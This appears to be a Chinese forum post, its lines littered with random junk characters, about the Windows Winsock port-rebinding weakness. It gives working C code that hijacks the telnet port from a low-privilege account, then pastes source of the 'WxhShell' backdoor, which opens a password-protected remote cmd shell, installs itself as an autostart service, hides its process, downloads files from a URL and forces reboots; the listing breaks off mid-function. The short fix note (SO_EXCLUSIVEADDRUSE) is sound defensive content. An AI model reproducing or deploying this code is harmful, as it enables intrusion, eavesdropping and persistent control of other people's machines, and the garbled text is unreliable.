在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
G>=Fdt7Oc s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
L+N\B@ 0- bbM^J saddr.sin_family = AF_INET;
dIW@L rU+3~|m saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1J([*) =WT&unw} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
o%7-<\qS Jr5dw=B gw 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
DSQ2|{ 9TX2h0U? 这意味着什么?意味着可以进行如下的攻击:
LAkBf PriLV4? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@Bds0t {7jl) x3l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
X$e*s\4 !0dQfj^_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
i-PK59VZ8f p4V* %A&w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|sd G<+ oqAO@<dL! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
aVCPaYe^ yIhPB8QL 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
s]]lB018O\ ;4l8Qg
7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?VlGTMaS+ ~UJ.A<>Fh #include
HjIIhl?UY #include
vJxEF&X #include
w?>f:2(=[ #include
~| b\1SR DWORD WINAPI ClientThread(LPVOID lpParam);
C$q};7b1N int main()
3~{I/ft {
2xf#@`U WORD wVersionRequested;
?a#Gn2 DWORD ret;
_V4O#;%? WSADATA wsaData;
!KMl'kswe: BOOL val;
<rtKPlb// SOCKADDR_IN saddr;
/jNvHo^B SOCKADDR_IN scaddr;
! ui int err;
^3[_4av SOCKET s;
b"uO BB SOCKET sc;
<l(n)|H1P int caddsize;
MA,*$BgZ HANDLE mt;
EjL]#,QR DWORD tid;
[0EWIdT*b wVersionRequested = MAKEWORD( 2, 2 );
Vm|KL3}NRv err = WSAStartup( wVersionRequested, &wsaData );
w i[9RD@ if ( err != 0 ) {
4j~q,#$LW printf("error!WSAStartup failed!\n");
:h5G|^
return -1;
yI1:L
- }
Kf1J;*i|\ saddr.sin_family = AF_INET;
j*@@H6G Ym1vq= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4XNheP;b Asv]2> x saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
0u1ZU4+EC saddr.sin_port = htons(23);
Wk\(jaL% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
H.\`(`6 {
GQ;0KIN printf("error!socket failed!\n");
&y5"0mA return -1;
][wb4$2 }
y QClq{A val = TRUE;
(/uAn2 //SO_REUSEADDR选项就是可以实现端口重绑定的
AY{KxCrb^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
b%0p<*:a/ {
[K&%l]P7 printf("error!setsockopt failed!\n");
SK
lvZ
return -1;
]:OrGD" }
uX*2Rs$s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
S[1<Qrv] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;.V/ngaj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
lG)wa 4p,:}h if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^FKiVKI: {
+b(};(wL ret=GetLastError();
mY.v: printf("error!bind failed!\n");
iX$G($[l( return -1;
1Ng+mT }
`G qe]ZE#" listen(s,2);
<Z]#vrq while(1)
-B;#pTG {
SLKplLO caddsize = sizeof(scaddr);
Wd:pqhLh //接受连接请求
umIGI sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
bZ\R0[0 if(sc!=INVALID_SOCKET)
s0/O/G? {
$D1ha CL mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
itg_+%^R if(mt==NULL)
j(=w4Sd_W {
hm,{C printf("Thread Creat Failed!\n");
I/`"lAFe break;
8@t8P5(vL }
UGSZg|&6#* }
{V6&((E8 CloseHandle(mt);
#7i*Diqf9 }
)i~AXBt} closesocket(s);
iApq!u, WSACleanup();
&Q3Fgj return 0;
,AP0*Ln }
eX+36VG\ DWORD WINAPI ClientThread(LPVOID lpParam)
w*-42r3,' {
sp,-JZD SOCKET ss = (SOCKET)lpParam;
oX|T&"& SOCKET sc;
e9o\qEm unsigned char buf[4096];
xqt?z n SOCKADDR_IN saddr;
$fmTa02q> long num;
\rS*\g:i DWORD val;
4j#y?^s DWORD ret;
(xHmucmwp //如果是隐藏端口应用的话,可以在此处加一些判断
zmo2uUEd //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
i"h\*B= saddr.sin_family = AF_INET;
w:t~M[kTW saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Sc7 Ftb% saddr.sin_port = htons(23);
4j={ 9e< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
V4[-:k {
!Y ,7% printf("error!socket failed!\n");
AS7L return -1;
Az&>.* }
\N9=13W<lK val = 100;
k =5k)}i if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$aV62uNf {
:W.H#@'( ret = GetLastError();
(BEe^]f return -1;
JOJ.79CT }
}u_D{ bz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
w"j>^#8 {
%e~xO x ret = GetLastError();
{<42PJtPY return -1;
`D4Wg<,9 }
-c_l
n K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
AY /9Io- {
.KrLvic printf("error!socket connect failed!\n");
?2]fE[SqY closesocket(sc);
@7Ec(]yp closesocket(ss);
f/)Y {kS6 return -1;
ui%#f1Iq }
5T x4u%g while(1)
q`9.@u@ a {
=\<NTu //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}9^:(ty2A //如果是嗅探内容的话,可以再此处进行内容分析和记录
M& ZKc //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
tu\XuDky num = recv(ss,buf,4096,0);
#_DpiiS,.Q if(num>0)
Nx 42k|8
send(sc,buf,num,0);
U#z"t&o=L else if(num==0)
0t7N yKU break;
p*Z<DEh# num = recv(sc,buf,4096,0);
0>28o. if(num>0)
0Y8gUpe3P6 send(ss,buf,num,0);
$gl|^c\ else if(num==0)
zG9FO/@av break;
cXq9k!I% }
L^JU{\C closesocket(ss);
QLJ\> closesocket(sc);
]64Pk9z= return 0 ;
tx09B)0 }
ji/`OS-iq %p 6Ms s ~Eo]e ==========================================================
k=s^-Eiu Wd'}YbC 下边附上一个代码,,WXhSHELL
% !@E)%d0 jj{:=lZB ==========================================================
p/{%%30ke In?rQiD9 #include "stdafx.h"
^T&{ORWz WsHDIp #include <stdio.h>
fEBi'Ad #include <string.h>
%r^tZ ;;l #include <windows.h>
.#&)%}GC #include <winsock2.h>
tj;47UtH #include <winsvc.h>
y4kn2Mw; #include <urlmon.h>
7J);{ &x9h bW`nLiw}% #pragma comment (lib, "Ws2_32.lib")
wq?"NQ?O< #pragma comment (lib, "urlmon.lib")
iHv+I~/ F@<cp ?dR #define MAX_USER 100 // 最大客户端连接数
>g$iO`2 #define BUF_SOCK 200 // sock buffer
nvR%Ub x #define KEY_BUFF 255 // 输入 buffer
WO>,=^zPJ gt8dFcm|s #define REBOOT 0 // 重启
f#l9rV"@g #define SHUTDOWN 1 // 关机
^&;,n.X5Z K@p9_K8 #define DEF_PORT 5000 // 监听端口
^]o
H}lwO n/v.U,f&l@ #define REG_LEN 16 // 注册表键长度
cxR.:LD} #define SVC_LEN 80 // NT服务名长度
.rBU"Rbo 0Z2XVq~T$ // 从dll定义API
ep8UWxB5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|sGJum&= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
,a>Dv@$Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
fq>{5ODO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|eRE'Wd0 zfop-qDOc // wxhshell配置信息
f/dJRcDl< struct WSCFG {
Tgpu 9V6 int ws_port; // 监听端口
>~,~X9 char ws_passstr[REG_LEN]; // 口令
X@kgc&`0 int ws_autoins; // 安装标记, 1=yes 0=no
1tY+0R char ws_regname[REG_LEN]; // 注册表键名
6$OmOCA% char ws_svcname[REG_LEN]; // 服务名
g%J\YRo char ws_svcdisp[SVC_LEN]; // 服务显示名
9,8/DW.K char ws_svcdesc[SVC_LEN]; // 服务描述信息
FRxR/3& char ws_passmsg[SVC_LEN]; // 密码输入提示信息
d./R;Z- I{ int ws_downexe; // 下载执行标记, 1=yes 0=no
@;O"-7Kk char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?GX@&_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:i{M1z I |OLXb+7X };
r`-8+"P T'6`A<`3 // default Wxhshell configuration
l$5nv5r struct WSCFG wscfg={DEF_PORT,
(&.T "xuhuanlingzhe",
*C55DO^w 1,
mx)!] B" "Wxhshell",
%oqKpD+ "Wxhshell",
Ko&4{}/ "WxhShell Service",
1V]ws}XW "Wrsky Windows CmdShell Service",
GG%;~4#2 "Please Input Your Password: ",
azFJ-0n@" 1,
Gd|kAC
g "
http://www.wrsky.com/wxhshell.exe",
e;v"d!H/ "Wxhshell.exe"
S0StC$$1 };
Ab[o~X" b"\lF1Nf&o // 消息定义模块
fTpG>*{p char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
jUD^]Qs char *msg_ws_prompt="\n\r? for help\n\r#>";
vVMoCG"f char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
m$C1Ea-wnT char *msg_ws_ext="\n\rExit.";
</kuJh\ char *msg_ws_end="\n\rQuit.";
*ELU">!}G char *msg_ws_boot="\n\rReboot...";
j=pg5T char *msg_ws_poff="\n\rShutdown...";
v2tVq_\AMx char *msg_ws_down="\n\rSave to ";
8d$|JN;) xbi\KT`~ char *msg_ws_err="\n\rErr!";
ZklO9Ox( char *msg_ws_ok="\n\rOK!";
|*48J1:1y *04}84?: char ExeFile[MAX_PATH];
ekY)?$v3 int nUser = 0;
6*B%3\z) HANDLE handles[MAX_USER];
GPni%P#a@0 int OsIsNt;
ts<\n-f rV\G/)xL SERVICE_STATUS serviceStatus;
U B+~K/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
/*;a6S8q '__>M>[ // 函数声明
\5tG>>c i int Install(void);
3XB`|\: int Uninstall(void);
t;Z9p7rk int DownloadFile(char *sURL, SOCKET wsh);
+wz1kPRs int Boot(int flag);
7:g_:}m void HideProc(void);
[*u\ S int GetOsVer(void);
LL);Ym9d int Wxhshell(SOCKET wsl);
lV:feX void TalkWithClient(void *cs);
!e<5JO;c int CmdShell(SOCKET sock);
v6G1y[Wl int StartFromService(void);
W;8A{3q%N0 int StartWxhshell(LPSTR lpCmdLine);
eaO'|@;{~ iOfO+3'Z_U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5MG4S VOID WINAPI NTServiceHandler( DWORD fdwControl );
` Ft-1eE b5MU$}: // 数据结构和表定义
N?t*4Y SERVICE_TABLE_ENTRY DispatchTable[] =
pq]z%\$u {
W\-`}{B_/ {wscfg.ws_svcname, NTServiceMain},
2ZV; GS# {NULL, NULL}
2!LDrvPP };
3{.]! f"gYXaVF+ // 自我安装
y=pW+$k int Install(void)
/":/DwI' {
\^0>h`[ char svExeFile[MAX_PATH];
(xvg.Nby HKEY key;
EZ>(} strcpy(svExeFile,ExeFile);
0t7)x8c N"<.v6Z // 如果是win9x系统,修改注册表设为自启动
E,\)tZ;, if(!OsIsNt) {
Id^q!4Th9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
DZmVm['l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
x0)=jp '
RegCloseKey(key);
OYxYlUq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Jw=7eay$F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
q_^yma RegCloseKey(key);
E$z- |-{> return 0;
cQxUEY('+ }
TDZ==<C }
@"h4S*U }
I@z@s}x> else {
prt(xr4@ qi~-<qW // 如果是NT以上系统,安装为系统服务
[(g2u@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2.</n}g if (schSCManager!=0)
zOA~<fhT {
J~J+CGT~2 SC_HANDLE schService = CreateService
P<Z` 8a[ (
&ZMQ]'& schSCManager,
|wJdp,q R wscfg.ws_svcname,
$bp$[fX(e wscfg.ws_svcdisp,
sqpo5~ SERVICE_ALL_ACCESS,
";`jS&"= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\IC^z SERVICE_AUTO_START,
&Jb$YKt SERVICE_ERROR_NORMAL,
IhK
SwT svExeFile,
h}'Hst NULL,
Q=%W- NULL,
$bKXP( NULL,
E@otV6Wk[@ NULL,
{S+?n[1r\ NULL
D=vw0Q_3Y3 );
#b&tNZ4!_ if (schService!=0)
qLX<[UL {
.3UJ*^(? CloseServiceHandle(schService);
I74Rw*fB CloseServiceHandle(schSCManager);
h{_\okC> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
2o9B >f&g strcat(svExeFile,wscfg.ws_svcname);
SJX9oVJeZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`-CN\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
{HM[ )t0 RegCloseKey(key);
Jlb{1B$7 return 0;
EKcPJ\7 }
b{-"GqMO }
!oXFDC3k CloseServiceHandle(schSCManager);
k4<28 }
Q|+ a }
QjXJo$I6 *k#"@ return 1;
$Bncdf }
z.SKawm6T *-fd$l. // 自我卸载
a+J> int Uninstall(void)
0+1!-Wo {
Xu~N97\G HKEY key;
VI9rezZ* Oq% TW|a# if(!OsIsNt) {
:4 z\Q] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3QZm
*.
/" RegDeleteValue(key,wscfg.ws_regname);
OAiW8BAe RegCloseKey(key);
(y?F8]TfM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_kRc"MaB RegDeleteValue(key,wscfg.ws_regname);
{R63n RegCloseKey(key);
fnr8{sr.2Z return 0;
<]%6x[ }
%U}6(~
}
jK/FzD0- }
"|J6*s else {
4yqYs> z]hRc8g}d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?mC'ZYQI if (schSCManager!=0)
kmTYRl
)j {
i)(G0/: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
V.$tq if (schService!=0)
urkuG4cY {
)lt1I\n*k if(DeleteService(schService)!=0) {
f{L;, CloseServiceHandle(schService);
2`;XcY4A CloseServiceHandle(schSCManager);
1}c/l<d return 0;
~.G$0IJY }
^{IZpT3 CloseServiceHandle(schService);
;u(*&vRqr^ }
T?[;ej: CloseServiceHandle(schSCManager);
vOCaru?~h }
mX.mX70|J }
Xl2g Hh 3'6 UvAXFH return 1;
w[l#0ZZ }
rxMo7px@}I =$bF[3D // 从指定url下载文件
j+-`P5 int DownloadFile(char *sURL, SOCKET wsh)
2/t; }pw8 {
j>\rs|^O HRESULT hr;
Z@x& char seps[]= "/";
t 3N}): char *token;
44~ReN}` char *file;
EI?8/c char myURL[MAX_PATH];
vvY?8/ char myFILE[MAX_PATH];
5CcX'*P _hl| 3
eW5 strcpy(myURL,sURL);
OMmfTlM% token=strtok(myURL,seps);
; \co{_&D while(token!=NULL)
?-Of\fNu {
=,ax"C?pR file=token;
u=s,bt,"5 token=strtok(NULL,seps);
a""9%./B }
t1
9f%d e~)4v GetCurrentDirectory(MAX_PATH,myFILE);
D5Sbs( strcat(myFILE, "\\");
60%fva strcat(myFILE, file);
i83Jy w,f send(wsh,myFILE,strlen(myFILE),0);
Nlm}'Xt send(wsh,"...",3,0);
H'k~; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Jpp-3i.F# if(hr==S_OK)
D2D+S return 0;
MD1X1,fk else
K\ B!tk return 1;
.WN&]yr, |zfFB7}v }
Mi(6HMA.SF 7=X6_AD // 系统电源模块
p(I^Y{sGI int Boot(int flag)
91&=UUkK? {
2<n18-|OQ HANDLE hToken;
OPq|4xu TOKEN_PRIVILEGES tkp;
,-EN{ed v+sF0
j\P if(OsIsNt) {
n{<@-6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
AIQ
{^: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ZW"f*vwQo tkp.PrivilegeCount = 1;
: Gi8Jo tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
":/Vp,g AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
;}S_ PnwC@ if(flag==REBOOT) {
k
75 p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
6 mLC{X[ return 0;
=&"pG`x }
@%u}|iF| else {
?uTuO
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&u[F)| return 0;
!E00I0W-h }
/>9`Mbg[G }
|8k^jq else {
F:<+}{Av if(flag==REBOOT) {
>#mKM%T2MJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
RYC%;h return 0;
Ym]g0a }
/i@.Xg@: else {
.L#4#IO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
W"#<r return 0;
RB""(< }
<T.R%Jys }
<)O#Y76s q\!"FDOl4 return 1;
vFLE%z{\o }
#LR6wEk .*YOyK3H // win9x进程隐藏模块
/ M]P&Zb | void HideProc(void)
oui0:Vy< {
UBQtD|m\ MMaS HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Ux"
^3D if ( hKernel != NULL )
CP"5E?dcK {
RmKbnS$*q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~PF,[$?4n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
dE[X6$H[ FreeLibrary(hKernel);
&l{ctP%q }
leizjL\P y<`:I|y return;
$ <[r3 }
;*Y+. ?>a 5gx;Bp^_ // 获取操作系统版本
*) \y52z int GetOsVer(void)
5$Kv%U {
.|L9}< OSVERSIONINFO winfo;
60>g{1] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
# vy[v22 GetVersionEx(&winfo);
&2@Rc?!6_P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~^Ga?Q_ return 1;
>c:nr&yP else
Te)%L*X return 0;
d@Bd*iI< }
'{JMWNY }Sh@.3* // 客户端句柄模块
}\N ~%?6D int Wxhshell(SOCKET wsl)
{}"
< {
d--6<_q SOCKET wsh;
u,72Mm> struct sockaddr_in client;
r`)'Kd DWORD myID;
+\PLUOk *$('ous8 while(nUser<MAX_USER)
+W[{UC4b {
0_^3
|n int nSize=sizeof(client);
<7ag=IgDy wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
NgxJz
]b if(wsh==INVALID_SOCKET) return 1;
)
AGE"M3X HPO:aGU handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
tg/!=g if(handles[nUser]==0)
Uul5h8F closesocket(wsh);
6_9@s*=d> else
m9D*I1 nUser++;
Dg
~k"Ice }
65+2+p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"x_G6JE4tv _a?x)3\v return 0;
nM8'="$ }
6(A"5B=\ m5?t<H~ // 关闭 socket
pwVGe|h%, void CloseIt(SOCKET wsh)
J<cY'?D {
.k!2{A closesocket(wsh);
G [yI[7=d nUser--;
sC :.}6 ExitThread(0);
Y{4nBu }
#iD`Bg!VXc PEKXPFN // 客户端请求句柄
KlwBoC/{K void TalkWithClient(void *cs)
Z y6kA\q {
V3
~&R:Z9e YZ->ep} SOCKET wsh=(SOCKET)cs;
raP9rEs char pwd[SVC_LEN];
#N97 char cmd[KEY_BUFF];
_w5c-\-PUM char chr[1];
;t.)A3 PL int i,j;
Q? Xqf7y -3y
$j+ while (nUser < MAX_USER) {
#V[Os!ns $ O;a~/T if(wscfg.ws_passstr) {
j3
@Q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3?&P^{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ci3
b(KR //ZeroMemory(pwd,KEY_BUFF);
7$L*nf i=0;
E|VTbEYG while(i<SVC_LEN) {
8*]dAft lb}:!Y // 设置超时
[F27i#'I] fd_set FdRead;
4 `}6W>*R struct timeval TimeOut;
niPqzi FD_ZERO(&FdRead);
B|AIl+y FD_SET(wsh,&FdRead);
-BrJ5]T>* TimeOut.tv_sec=8;
N;cSR\Ng TimeOut.tv_usec=0;
9J}^{AA int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
E,A9+OKxJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
urD{'FQf yW}x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`my\59T pwd
=chr[0]; |L
<
if(chr[0]==0xd || chr[0]==0xa) { #J$z0%P
pwd=0; |A)a
='Ap
break; ~\O,#j`_
} HNX/#?3
i++;
[hiV#
} Ee$F]NA
Sjmq\A88dc
// 如果是非法用户,关闭 socket ,YrPwdaTB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]vCs9* |B
} GkdxwuRw
:-+j,G9t
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .7Itbp6=R
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qi1#s,
X'7MW?
q@
while(1) { Q6PMRG}/o
cMAY8$
ZeroMemory(cmd,KEY_BUFF); =A/$[POr
MnW"ksH
// 自动支持客户端 telnet标准 ;'4Kg@/
j=0; }~ga86:n0
while(j<KEY_BUFF) { cN:ek|r
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )aX#RM? N
cmd[j]=chr[0]; @WzrrCpj
if(chr[0]==0xa || chr[0]==0xd) { %/K;!'7
cmd[j]=0; `{nzw $
break; :1!k*5
} Vf$q3X
j++; "Qe2U(Un
} [g lhru=+
3=^B
&AB
// 下载文件 v*@R U
if(strstr(cmd,"http://")) { kE{-h'xADD
send(wsh,msg_ws_down,strlen(msg_ws_down),0); K=J">^uW
if(DownloadFile(cmd,wsh)) 3TT?GgQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fjy2\J!
else \'P79=AU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
hh^_Z| 5
} l`E KL2n
else { n!?u/[@
aN"dk-eK
switch(cmd[0]) { )m10IyUAY
2TX.%%Ze
// 帮助 $&0\BvS
case '?': { 2D{`AJ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2,'%G\QT
break; V_H0z
} "l-b(8n
// 安装 T:w %RF[v9
case 'i': { 5G WC
if(Install()) [mG:PTK3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' "o2;J)7
else 24d{ol)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Yzb6@g"
break; y6Ea_v
} 8G_KbS
// 卸载 W&9X <c*
case 'r': { A!_yZ|)$T
if(Uninstall()) 20BU;D3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zWq&HBs
else ID$%4jl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \7tJ)[0aF
break; c8qwsp
} M{`uI8vD
// 显示 wxhshell 所在路径 #j6qq3OG
case 'p': { C +S>;1
char svExeFile[MAX_PATH]; Znh)m
strcpy(svExeFile,"\n\r"); W0N*c*k
strcat(svExeFile,ExeFile); 2[Bw+<YA`
send(wsh,svExeFile,strlen(svExeFile),0); T2MXwd&l
break; [7=?I.\Cr7
} rPoq~p[Y
// 重启 ,Zs*07!$f
case 'b': { 4k=LVu]Kcr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PQ4)kVT
if(Boot(REBOOT)) n~v*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q`(h
else { FK`M+ j
closesocket(wsh); S1d{! ` 3
ExitThread(0); ,
Y cF~
} eRvnN>L
break; };nOG;
} vo]$[Cp|4
// 关机 V=5v7Y3(j
case 'd': { Qon>[<]B
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HT=-mwa_]
if(Boot(SHUTDOWN)) 2)+ddel<Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bRK[u\,
else { 0z=^_Fb
closesocket(wsh); '645Fr[lg
ExitThread(0); WRfhxl
} 3^p;'7x
break; ]ZM-c~nL
} |j~{gfpSE
// 获取shell u75(\<{
case 's': { >iFi~)i_4y
CmdShell(wsh); `ouCQ]tKz
closesocket(wsh); Nd61ns(N
ExitThread(0); 5vqh09-FB
break; >Gi*BB
} }1pG0V4
// 退出 Id40yER
case 'x': { {,zn#hU.R
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PitDk
1T
CloseIt(wsh); {qPu}?0
break; YV/JZc f
} ub=Bz1._
// 离开 xC.Tipn>
case 'q': { "*0h=x$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _t;Mi/\P
closesocket(wsh); ) E(9
R(
WSACleanup(); WeRX ~
exit(1); gC\^"m
break; R}Z2rbt
} |;(0]
} 6`sS8Ar&u
} ?cD2EX%(
>p@v'h/Cr
// 提示信息 \} +b_J6-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8+OcM
;0
} c:sk1I,d~^
} >Yt+LdG!-
@6:J$B~)u
return; $z* Y:vFP
} w2e9Ue~WH
+'QE-#%{=
// shell模块句柄 ^%~ux0%^T
int CmdShell(SOCKET sock) *HXx;:
{ f%5 s8)
STARTUPINFO si; ?_Y2'O
ZeroMemory(&si,sizeof(si)); VqK/GWg
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yUp"%_t0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S
0L"5B@
PROCESS_INFORMATION ProcessInfo; 0dKi25J
char cmdline[]="cmd"; *Z
C$DW!-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hlye:.$
return 0; KJ;NcUq
} !Au 9C
a>XlkkX
// 自身启动模式 $3Srr*
int StartFromService(void) qJf=f3
{ :Vl2\H=P
typedef struct ;Alw`'
{ EwH_k
DWORD ExitStatus; <\C/;
DWORD PebBaseAddress; }qn@8}
DWORD AffinityMask; i*-L_!cc:
